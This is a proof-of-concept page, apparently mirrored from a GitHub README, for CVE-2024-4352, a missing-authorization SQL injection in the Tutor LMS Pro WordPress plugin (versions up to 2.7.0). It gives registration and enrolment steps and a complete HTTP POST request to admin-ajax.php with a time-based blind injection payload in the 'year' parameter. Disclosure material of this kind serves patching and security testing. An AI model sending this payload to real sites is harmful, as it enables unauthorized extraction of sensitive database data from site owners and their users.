Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2024-4352 PoC — Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection

Source
Associated Vulnerability
Title:Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection (CVE-2024-4352)
Description:The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Description
CVE-2024-4352 Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection
Readme
# CVE-2024-4352-Poc
CVE-2024-4352 Tutor LMS Pro &lt;= 2.7.0 - Missing Authorization to SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor-pro/tutor-lms-pro-270-missing-authorization-to-sql-injection

Description

The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Vulnerable addon calendar

File: addons\calendar\classes\Tutor_Calendar.php
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1367d596-a948-4dd7-b933-9eef7f49d82c)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/81d58487-f649-4fb4-81d8-e3abf85cc9e7)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9ce9c82f-f6c7-4e62-ba67-2ed87e0ed4c0)


Steps to Reproduce:

1. Register an account and enroll in the course
2. Send request with payload
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cookie: {{Cookie}}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=get_calendar_materials&year=0+or+sleep(if(1=1,5,0))&month=1&_tutor_nonce={{_tutor_nonce}}
```

![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1d019677-1236-4a69-8d96-9fa1b353786f)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9372d19f-0a42-4baa-ae28-71baba17adca)


Poc

https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/cf686a9f-2f51-4402-88f5-73f29fcdf3d7

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →